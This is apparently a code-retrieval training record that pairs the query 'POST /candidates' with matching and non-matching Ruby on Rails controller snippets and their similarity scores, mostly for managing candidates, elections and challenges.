Challenge.user(current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @challenges }\n end\n end", "def map_current_candidates\n\t\tobj = Candidate.all\n\t\tobj.map { |i| {i.id => i.name} }\n\tend", "def index\n @partners = Partner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @partners }\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n @candidate.user_id = current_user.id\n\n respond_to do |format|\n if @candidate.save\n flash[:notice] = 'Candidate was successfully created.'\n format.html { redirect_to home_candidate_path(@candidate) }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def candidate\n @candidate\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: \"Candidate was successfully created.\" }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def open_job_candidates\n authorize(JobCandidate.new)\n if active_job_candidate_list.present?\n @open_job_candidates = active_job_candidate_list.includes(:job)\n .where(\"job_candidates.status in (?)\",\n JobCandidate.statuses_opened)\n .page(params[:page])\n end\n end", "def candidates\n players.map(&:candidate).compact\n end", "def parse_to_candidate(resume_text)\n path = \"resume/parseToCandidateViaJson?format=text\"\n encodedResume = {\"resume\" => resume_text}.to_json\n res = conn.post path, encodedResume\n Hashie::Mash.new JSON.parse(res.body)\n end", "def index\n @proposals = current_user.proposals\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proposals }\n end\n end", "def candidate\n self['candidate']\n end", "def index\n @challenges = Challenge.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @challenges }\n end\n end", "def index\n \n @page = params[:page]\n\n @candidates = Candidate.page(@page)\n #@users = User.order(:name).page 3\n # @count = Voter.where(candidate_id => @can)\n\n @voter_all = Voter.all.count\n\n\n end", "def candidate_details candidate_email, qr: false\n params = init_params\n params[:qr] = qr\n request_url = UrlGenerator.url_for(\"candidates\", candidate_email)\n asgn = SignatureGenerator.signature_for(http_verb: 'GET', url: request_url, params: params)\n\n res = self.get(request_url, query: params.merge!({asgn: asgn}))\n if res[\"status\"] == \"SUCCESS\"\n return res\n else\n return error_response_for(res)\n end\n end", "def get_candidate_list\n raise NoMethodError, 'get_candidate_list should be defined in subclass of HillClimb'\n end", "def max_candidates\n return @max_candidates\n end", "def set_candidate\n @candidate = Role::Candidate.includes(:person).find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def candidate_sheet\n @candidate = Candidate.find(params[:id])\n @resource = @candidate\n end", "def show\n @grades=@section.grades\n @candidates=Candidate.all\n @user = User.find(current_user.id)\n\n if current_user.admin?\n @candidates = @section.candidates\n else\n @candidates = @section.candidates.where(user_id: current_user.id)\n end\n end", "def qualified_candidates(candidates)\n begin\n @candidates.select do |candidate|\n experienced?(candidate) &&\n enough_points?(candidate) &&\n proper_languages?(candidate) &&\n applied_recently?(candidate) &&\n old_enough?(candidate)\n end\n rescue CandidateError => ex\n puts \"There was an error in finding qualified candidates. The reason was #{ex.message}\"\n end\nend", "def index\n @citations = Citation.all\n\n render json: @citations\n end", "def find(id)\n raise '@candidates must be an array!' if @candidates.nil?\n candidate = @candidates.select { |candidate| candidate[:id] == id }\n\nend", "def show\n @leader = Leader.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leader }\n end\n end", "def index\n @elections = Election.all\n end", "def find(id)\n @candidates.find {|h| h[:id] == id}\nend", "def create\n @candidate = Candidate.new(permitted_attributes Candidate.new)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: \"Candidate was successfully created.\" }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @proposals = Proposal.all\n\n render json: @proposals\n end", "def show\n @compromise = Compromise.find(params[:id])\n\n render json: @compromise\n end", "def show\n @compromise = Compromise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @compromise }\n end\n end", "def index\n @challenges = Challenge.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @challenges }\n end\n end", "def index\n @proposals = listing.proposals\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proposals }\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to user_election_position_candidates_path, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_prefectures\n server_response = handle_timeouts do\n get '/1/neighborhoods.json?locale=en'\n end\n server_response['response']\n end", "def withdrawn_job_candidates\n authorize(JobCandidate.new)\n if active_job_candidate_list.present?\n @withdrawn_job_candidates = active_job_candidate_list.includes(:job)\n .where(status: JobCandidate.statuses[\"withdrawn\"])\n .page(params[:page])\n end\n end", "def print_candidates(candidates)\n puts \"----- Starting search -----\"\n if candidates.empty?\n puts \"Couldn't find candidate. Are you sure that's a proper ID integer?\"\n else\n begin\n candidates.each do |candidate|\n candidate.each do |key, value|\n string = @qualified_array.include?(candidate) ? \"#{key} : #{value}\".green : \"#{key} : #{value}\".red\n puts string\n end\n puts \"-----------\"\n end\n rescue\n puts \"There is an error in your database. Certain candidates do not exist.\"\n end\n end\nend", "def available_collaborators\n input = available_collaborators_input\n return unauthorized unless available_collaborators_auth(input)\n student_id = current_visitor.portal_student.id\n clazz = Portal::Offering.find(input[:offering_id]).clazz\n collaborators = clazz.students.select { |s| s.id != student_id }.map { |s| {:id => s.id, :name => s.name} }\n render json: collaborators\n end", "def set_candidates(pv)\n @candidates = pv\n @value = @initial_value\n end", "def find(id)\n @candidates.select{|candidate| candidate[:id] === id }\n #return @candidates\n\nend", "def find(id)\n # Your code Here\n @candidates.each do |candidate|\n if candidate[:id] == id\n return candidate\n end\n end\n nil\nend", "def candidate_matches_list\n Candidate.includes(:candidate_profile).where('candidates.archetype_score >= ?\n and candidates.archetype_score <= ?',\n self.archetype_low,\n self.archetype_high)\n .joins(:candidate_profile)\n .where('candidate_profiles.is_incognito=false')\n .order(id: :asc)\n end", "def index\n @collaborators = User\n .includes(:chef_account)\n .where.not(id: params[:ineligible_user_ids])\n .limit(20)\n\n if params[:q]\n @collaborators = @collaborators.search(params[:q])\n end\n\n respond_to do |format|\n format.json\n end\n end", "def index\n @clues = Clue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clues }\n end\n end", "def index\n @challenges = Challenge.order(:id)\n .includes(:user)\n .page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @challenges }\n end\n end", "def validate_candidates(candidates)\n uniq_candidates = []\n candidates.each do |candidate|\n if (uid_exists?(\"candidate\", canid = candidate[\"ident\"].to_s))\n if (uniq_candidates.include?(candidate))\n val_warn(\"Duplicate Candidate Declaration\", canid, \"in Election Definition\")\n else\n val_err(\"Non-Unique Candidate UID\", canid, \"in Election Definition\")\n end\n else\n uniq_candidates.push(candidate)\n uid_add(\"candidate\", canid)\n end\n end\n candidates.each do |candidate|\n canid = candidate[\"ident\"].to_s\n conid = candidate[\"contest_ident\"].to_s\n if (uid_exists?(\"contest\", conid))\n self.counts_contests[conid][\"candidate_count_list\"].\n push({\"candidate_ident\"=>canid, \"count\"=>0})\n else \n val_err(\"Non-Existent Contest UID\", conid, \"for Candidate UID\", canid, \"in Election Definition\")\n end\n end\n end", "def index\n @people = search Person.involved_in(@conference)\n\n respond_to do |format|\n format.html { @people = @people.paginate page: page_param }\n format.json\n end\n end", "def find(id)\n raise '@candidates must be an array' if @candidates.nil?\n @candidates.detect {|candidate| candidate[:id] == id}\n\nend", "def candidate\n candidates.first\n end", "def find(id)\n # binding.pry\n raise '@candidates must be an Array' if @candidates.nil?\n candidate.each do |candidate|\n if candidate[:id] == id\n return candidate\n else\n nil\n end \n end \nend", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end" ]
[ "0.7828381", "0.73522097", "0.73016286", "0.73016286", "0.73016286", "0.73016286", "0.73016286", "0.72219783", "0.6899774", "0.6775134", "0.67688996", "0.6342606", "0.6194655", "0.6079805", "0.6058217", "0.60146403", "0.596775", "0.5949632", "0.5942194", "0.59386665", "0.5871397", "0.58210623", "0.5799082", "0.57743657", "0.57622945", "0.57514733", "0.56375146", "0.5632453", "0.5604177", "0.55864686", "0.55673444", "0.55637956", "0.5554515", "0.55472285", "0.55420184", "0.5533445", "0.5525548", "0.5514009", "0.55139095", "0.5506843", "0.55026436", "0.55004233", "0.54912883", "0.54912883", "0.54912883", "0.54912883", "0.54869276", "0.5450752", "0.5450076", "0.54493606", "0.5443225", "0.54279304", "0.5404538", "0.54033834", "0.53980786", "0.53975403", "0.53958035", "0.5391857", "0.53909457", "0.53814286", "0.537766", "0.537766", "0.5376075", "0.5369325", "0.5365402", "0.5362923", "0.53553605", "0.535234", "0.53487885", "0.5346243", "0.5340467", "0.53278494", "0.532728", "0.53255934", "0.5322779", "0.5315783", "0.5314964", "0.5310257", "0.5309812", "0.5308351", "0.5303099", "0.5301258", "0.52998286", "0.5294884", "0.5286069", "0.5282022", "0.5263667", "0.52589417", "0.5258092", "0.52521974", "0.5251969", "0.5249487", "0.5247106", "0.52466", "0.52466", "0.52466", "0.52466", "0.52466", "0.52466", "0.52466" ]
0.6928002
8
GET /candidates/1 GET /candidates/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @candidates = Candidate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @candidates }\n end\n end", "def index\n @candidates = Candidate.all.order(:id)\n #render json: @candidates\n end", "def show\n @candidate = Candidate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @candidate }\n end\n end", "def index\n if Candidate.count == 0\n source = 'https://geekhunter-recruiting.s3.amazonaws.com/code_challenge.json'\n resp = Net::HTTP.get_response(URI.parse(source))\n data = resp.body\n result = JSON.parse(data)\n result[\"candidates\"].each do |c|\n technologies = []\n c[\"technologies\"].each do |tech|\n technologies.push({ name: tech[\"name\"], is_main_tech: tech[\"is_main_tech\"] })\n end\n candidate = Candidate.new({ city: c[\"city\"], experience: c[\"experience\"], technologies: technologies })\n # if Candidate.find_by_cpf(c[\"cpf\"]).nil?\n # candidate.save\n # end\n candidate.save\n end\n end\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.where(user_id: current_user.id)\n end", "def index\n @candidates = Usernew.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usernew }\n end\n end", "def index\n @candidates = Candidate.limit(100)\n end", "def show\n @candidate_app = CandidateApp.where(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @candidate_app }\n end\n end", "def new\n @candidate = Candidate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @candidate }\n end\n end", "def create\n @candidate = current_user.candidates.new(candidate_params)\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def candidate\n candidates.first\n end", "def index\n @candidate_details = CandidateDetail.all\n end", "def new\n @candidate_app = CandidateApp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @candidate_app }\n end\n end", "def index\n @candidates=Candidate.all.order(:id)\n end", "def get_candidate(username)\n candidate = @database.get_item(\n table_name: candidates_table_name,\n key: { \"username\" => username },\n consistent_read: true\n )[:item]\n\n candidate['votes'] = candidate['votes'].to_i if candidate\n candidate\n end", "def index\n @candidatedetails = Candidatedetail.all\n end", "def index\n @group = @authorized_group\n @candidates = @group.candidates\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @candidates }\n end\n end", "def set_candidate\n @candidate = Candidate.includes(:user, :resume).find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def index\n @votes = @proposal.votes\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @votes }\n end\n end", "def index\n # @candidates = Candidate.all\n @candidates = Position.find(params[:position_id]).candidates\n end", "def index\n @candidate_references = @candidate.references\n end", "def find(id)\nraise \"candidates must be an Array\" if @candidates.nil?\n @candidates.each do |candidate|\n return candidate if candidate[:id] == id\n end\n nil\nend", "def candidate\n @candidate\n end", "def candidate\n self['candidate']\n end", "def create\n @result = Result.new()\n\n @result.ip_address = request.remote_ip\n\n unless params[:candidates_ids].nil?\n if params[:candidates_ids].count.eql?(NUMBER_OF_CANDIDATES)\n params[:candidates_ids].each do |candidate_id|\n @result.candidates << Candidate.find(candidate_id)\n end\n end\n end\n\n respond_to { |format|\n if params[:candidates_ids].nil? ? false : params[:candidates_ids].count.eql?(NUMBER_OF_CANDIDATES)\n if @result.save\n format.html { redirect_to(results_path, :notice => \"Thanks for your vote\") }\n format.xml { render :xml => @result, :status => :created, :location => @result }\n cookies[:vote] = {:value => 'sent', :expires => 3.days.from_now}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @result.errors, :status => :unprocessable_entity }\n end\n else\n format.html {\n flash[:alert] = \"You should choose \" + NUMBER_OF_CANDIDATES.to_s + \" candidates\"\n redirect_to (new_result_path)\n }\n end }\n end", "def create\n @candidate = Candidate.new(params[:candidate])\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render json: @candidate, status: :created, location: @candidate }\n else\n format.html { render action: \"new\" }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_candidate\n @candidate = Role::Candidate.includes(:person).find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def find(id)\n # Your code Here\n @candidates.each do |candidate|\n if candidate[:id] == id\n return candidate\n end\n end\n nil\nend", "def find(id)\n @candidates.find {|h| h[:id] == id}\nend", "def show\n @leader = Leader.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leader }\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n @candidate.user_id = current_user.id\n\n respond_to do |format|\n if @candidate.save\n flash[:notice] = 'Candidate was successfully created.'\n format.html { redirect_to home_candidate_path(@candidate) }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @candidate_course_scores = @candidate.course_scores\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @election = Election.find(params[:election_id])\n @races = @election.races\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @races }\n end\n end", "def find(id)\n # Your code Here\n @candidates.each do |candidate|\n if id == candidate[:id]\n return candidate\n end\n end\n\n nil\nend", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n \t@election = Candidate.find(params[:id])\n end", "def find(id)\n # binding.pry\n raise '@candidates must be an Array' if @candidates.nil?\n candidate.each do |candidate|\n if candidate[:id] == id\n return candidate\n else\n nil\n end \n end \nend", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n @candidate.vacancies.each { |vacancy| CandidateMailer.thanks(@candidate, vacancy).deliver_now }\n format.json { render :show, status: :created, location: api_candidate_path(@candidate) }\n else\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: \"Candidate was successfully created.\" }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_candidates\n\t$cand_table.each do |x|\n\t\tputs \"Give me a candidate name:\"\n\t\tx[0] = gets.chomp\n\tend\nend", "def christian_ministry\n @candidate = Candidate.find(params[:id])\n @resource = @candidate\n end", "def show\n @compromise = Compromise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @compromise }\n end\n end", "def show\n @compromise = Compromise.find(params[:id])\n\n render json: @compromise\n end", "def candidate_sheet\n @candidate = Candidate.find(params[:id])\n @resource = @candidate\n end", "def find(id)\n # Your code Here\n @candidates.each do |candidate|\n \tif candidate[:id] == id\n \t return candidate\n \tend\n end\n return nil\nend", "def find(id)\n raise '@candidates must be an array!' if @candidates.nil?\n candidate = @candidates.select { |candidate| candidate[:id] == id }\n\nend", "def find(id)\n\traise '@candidates must be an Array' if @candidates.nil?\n\t@candidates.each do |x|\n\t\tif x[:id] == id\n\t\t\treturn x\n\t\tend\n\tend\n\tputs \"Candidate not found\"\n\tnil\nend", "def find(id)\n @candidates.each do | candidate |\n if candidate[:id] == id\n return candidate \n end\n end\nend", "def index\n candidate = UspsInPersonProofing::Applicant.new(\n address: search_params['street_address'],\n city: search_params['city'], state: search_params['state'],\n zip_code: search_params['zip_code']\n )\n response = proofer.request_facilities(candidate)\n if response.length > 0\n analytics.idv_in_person_locations_searched(\n success: true,\n result_total: response.length,\n )\n else\n analytics.idv_in_person_locations_searched(\n success: false, errors: 'No USPS locations found',\n )\n end\n render json: response.to_json\n end", "def find(id)\n # takes single candidate as id :\n @candidates.each do | candidate |\n if candidate[:id] == id \n\n return candidate\n else \n nil\n end\n end\nend", "def find(id)\n puts id\n @candidates.each do |candidate|\n if candidate[:id] == id \n return candidate\n end\n end\n puts \"No candidate found with that ID\"\n return nil\nend", "def show\n @collaborator = Collaborator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @collaborator }\n end\n end", "def find(id)\n @candidates.each do |candidate|\n if id == candidate[:id]\n candidate\n end\n end\n nil\nend", "def create\n @candidate = Candidate.new(candidate_params)\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to user_election_position_candidates_path, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def find(id)\n raise '@candidates must be an array' if @candidates.nil?\n @candidates.detect {|candidate| candidate[:id] == id}\n\nend", "def find(id)\n raise '@candidates must be an Array' if @candidates.nil?\n @candidates.detect {|candidate| candidate[:id] == id}\nend", "def set_candidate_detail\n @candidate_detail = CandidateDetail.find(params[:id])\n end", "def set_candidatedetail\n @candidatedetail = Candidatedetail.find(params[:id])\n end", "def find(id)\n @candidates.each do |candidate|\n return candidate if candidate[:id]==id\n end\n nil\nend", "def create\n @candidate = Candidate.new(permitted_attributes Candidate.new)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: \"Candidate was successfully created.\" }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @vote_candidates = VoteCandidate.all\n authorize VoteCandidate\n end", "def show\n @proposal = Proposal.find(params[:id])\n\n @proposal.votes.each do |v|\n if v.user == current_user\n @vote = v\n end\n end\n if can? :vote, @proposal\n if @vote.nil?\n @vote = @proposal.votes.new\n end\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @proposal }\n end\n end", "def show\n @election_type = ElectionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @election_type }\n end\n end", "def find(id)\n @candidates.select{|candidate| candidate[:id] === id }\n #return @candidates\n\nend", "def show\n @candidate_revision = CandidateRevision.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @candidate_revision }\n end\n end", "def find(id)\n @candidates.each do |candidate|\n if id == candidate[:id] \n return candidate\n end\nend\n\n nil\nend", "def set_candidate\n @candidate = Candidate.find(params[:candidate_id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:candidate_id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:candidate_id])\n end", "def destroy\n @candidate = Candidate.find(params[:id])\n @candidate.destroy\n\n respond_to do |format|\n format.html { redirect_to candidates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @candidate = Candidate.find(params[:id])\n @candidate.destroy\n\n respond_to do |format|\n format.html { redirect_to candidates_url }\n format.json { head :no_content }\n end\n end", "def find(id)\n @candidates.each do |candidate|\n return candidate if id == candidate[:id]\n end\n nil\nend", "def parse_to_candidate(resume_text)\n path = \"resume/parseToCandidateViaJson?format=text\"\n encodedResume = {\"resume\" => resume_text}.to_json\n res = conn.post path, encodedResume\n Hashie::Mash.new JSON.parse(res.body)\n end", "def index\n @candidate_experiences = @candidate.experiences\n end", "def find(id)\n # Your code Here\n # puts \"you are looking for id: #{id}\"\n @candidates.each do |candidate|\n if candidate[:id] == id\n return candidate\n end\n end\n return nil\nend", "def find(id)\n @candidates.each do |candidate|\n return candidate if candidate[:id] == id\n end\n return nil\nend", "def set_candidate\n @candidate = params[:id] ? Candidate.find(params[:id]) : Candidate.new(candidate_params)\n end", "def index\n @challenges = Challenge.user(current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @challenges }\n end\n end" ]
[ "0.7575423", "0.7197467", "0.71252155", "0.712431", "0.7115484", "0.7115484", "0.7115484", "0.7115484", "0.7115484", "0.6741638", "0.66203165", "0.6575366", "0.64869016", "0.6464353", "0.61950725", "0.6021751", "0.60195464", "0.6016882", "0.59765464", "0.5966909", "0.59580374", "0.5905076", "0.58898795", "0.5873994", "0.5873994", "0.58717835", "0.58547753", "0.58298314", "0.5801939", "0.5780151", "0.57768375", "0.5741691", "0.5740128", "0.57210773", "0.5718212", "0.5718212", "0.5718212", "0.5718212", "0.5718212", "0.5718212", "0.5718212", "0.5718212", "0.5718212", "0.5718212", "0.5718212", "0.5718212", "0.57160854", "0.5691165", "0.5690071", "0.56827617", "0.567767", "0.567378", "0.567378", "0.567378", "0.567378", "0.5658603", "0.5658461", "0.56553787", "0.56546605", "0.56427884", "0.56400096", "0.56295085", "0.561157", "0.56019413", "0.5594228", "0.5584704", "0.5582242", "0.55746603", "0.5564019", "0.55539405", "0.55309755", "0.5527195", "0.55245876", "0.55176675", "0.55082977", "0.55024165", "0.5502305", "0.5481564", "0.5478823", "0.54785764", "0.54715526", "0.5466841", "0.54657626", "0.54601634", "0.545308", "0.5451394", "0.54471576", "0.544255", "0.54395926", "0.5437622", "0.5437622", "0.5437622", "0.54371774", "0.54371774", "0.54278564", "0.54225695", "0.54186517", "0.5415013", "0.5402458", "0.54020643", "0.5398424" ]
0.0
-1
POST /candidates POST /candidates.json
def create @candidate = current_user.candidates.new(candidate_params) respond_to do |format| if @candidate.save format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' } format.json { render :show, status: :created, location: @candidate } else format.html { render :new } format.json { render json: @candidate.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @candidate = Candidate.new(params[:candidate])\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render json: @candidate, status: :created, location: @candidate }\n else\n format.html { render action: \"new\" }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n @candidate.vacancies.each { |vacancy| CandidateMailer.thanks(@candidate, vacancy).deliver_now }\n format.json { render :show, status: :created, location: api_candidate_path(@candidate) }\n else\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: \"Candidate was successfully created.\" }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @candidate = Candidate.new(permitted_attributes Candidate.new)\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: \"Candidate was successfully created.\" }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n if Candidate.count == 0\n source = 'https://geekhunter-recruiting.s3.amazonaws.com/code_challenge.json'\n resp = Net::HTTP.get_response(URI.parse(source))\n data = resp.body\n result = JSON.parse(data)\n result[\"candidates\"].each do |c|\n technologies = []\n c[\"technologies\"].each do |tech|\n technologies.push({ name: tech[\"name\"], 